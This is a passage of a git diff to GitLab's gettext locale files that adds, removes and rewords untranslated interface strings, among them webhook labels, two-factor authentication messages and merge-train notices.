@@ -24809,6 +25495,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24839,7 +25528,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -25013,9 +25702,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25178,15 +25864,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25247,6 +25933,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25624,9 +26313,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25711,9 +26397,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25735,9 +26427,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25798,6 +26487,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25942,6 +26634,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -26011,9 +26706,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -26029,10 +26733,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -26215,7 +26931,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26305,6 +27021,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26386,9 +27105,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26404,7 +27120,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26479,7 +27195,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26569,9 +27285,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26623,9 +27336,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26869,9 +27579,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26905,6 +27621,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26941,6 +27660,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26983,6 +27705,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -27189,6 +27917,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -27252,9 +27983,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27396,7 +28124,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27441,6 +28169,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27462,21 +28274,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27486,6 +28298,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27805,10 +28620,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27817,6 +28632,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27826,6 +28647,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27862,9 +28686,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27898,13 +28719,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27988,10 +28809,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28204,6 +29025,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28279,7 +29103,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28396,6 +29220,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28526,6 +29353,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28830,12 +29660,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28998,6 +29822,13 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "group"
msgstr ""
@@ -29043,9 +29874,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -29089,6 +29917,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29240,9 +30071,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29255,6 +30092,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29327,9 +30167,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29363,12 +30200,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29450,19 +30281,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29682,6 +30513,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29728,9 +30562,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29848,6 +30679,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29866,6 +30700,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29929,6 +30766,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/mn_MN/gitlab.po b/locale/mn_MN/gitlab.po
index 701164cf47e..f12bae24baf 100644
--- a/locale/mn_MN/gitlab.po
+++ b/locale/mn_MN/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: mn\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:47\n"
+"PO-Revision-Date: 2020-09-04 23:09\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
